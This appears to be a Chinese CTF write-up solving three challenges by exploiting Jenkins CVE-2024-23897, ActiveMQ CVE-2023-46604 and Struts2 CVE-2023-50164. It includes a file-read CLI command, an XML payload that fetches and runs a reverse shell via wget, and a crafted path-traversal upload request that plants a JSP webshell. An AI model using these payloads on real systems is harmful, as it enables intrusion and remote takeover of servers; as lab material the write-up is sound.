Be-a-Security-Researcher
题目描述:Participate in a security vulnerability emergency response
访问是一个 jenkins 题目描述中有写到参与应急响应,联想最近的 jenkins 任意文件读取漏洞 CVE-2024-23897
- 通过补丁分析Jenkins任意文件读取漏洞(CVE-2024-23897)
- https://blog.csdn.net/LJQClqjc/article/details/135872883
直接用 jenkins cli 工具连接拿到 flag
java -jar jenkins-cli.jar -s http://47.96.171.129:8080 who-am-i @/flag
Be-an-ActiveMq-Hacker
题目描述中提到了 CVE-2023-46604,题目也给出了附件
其中 readflag 是一个读取 flag 的程序
去 GitHub 找 poc
https://github.com/X1r0z/ActiveMQ-RCE
使用 go 写的,需要自己 build 下
go build -o rce main.go
尝试下 dnslog
./rce -i 120.26.63.137 -u http://8yfftp.dnslog.cn
可以收到但是后续尝试去在 poc.xml 中使用命令将 flag 带外失败 whoami 这种短的可以成功,最终使用 msf 创建反向马上线
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg ><list><value>wget http://ip:port/ma;chmod +x ma;./ma</value></list></constructor-arg></bean></beans>
Be-More-Elegant
题目描述:Grace Under Code, Be gentle please
题目给了 war 包附件解压开看到是一个使用 struts2 开发的文件上传页面
顺着都是最近 cve 的思路,找 struts2 最近的漏洞
- Apache Struts2 CVE-2023-50164
- Apache-Struts2-文件上传分析-S2-066
漏洞描述里提到可通过伪造文件上传的参数导致目录穿越,看版本比对,有两个 Commit 引起我的关注,一个是 Always delete uploaded file,另一个是 Makes HttpParameters case-insensitive。前者的作用是确保上传的临时文件被正确上传,在修复之前,通过构造超长的文件上传参数可以让临时文件继续留存在磁盘中
通过查看代码发现前端文件上传的名字是 fileUpload 和 FileUploadFileName,构造 poc
POST /upload.action" />=../../../views/11.jsp HTTP/1.1Host: 47.99.57.31:8080Content-Length: 800Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://47.99.57.31:8080Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUWVN4CxLM6PhrCD8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://47.99.57.31:8080/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=04F3BF3B7A49D8A0982A70C414AA44ABConnection: close------WebKitFormBoundaryUWVN4CxLM6PhrCD8Content-Disposition: form-data; name="FileUpload"; filename="11.jsp"Content-Type: text/plain大马------WebKitFormBoundaryUWVN4CxLM6PhrCD8--
试了几次在 post 中传没有成功,get 可以,直接上传一个大马去读文件,如果上传失败可以将 name=“FileUpload”; 中的 F 改成小写上传一次,再改成大写上传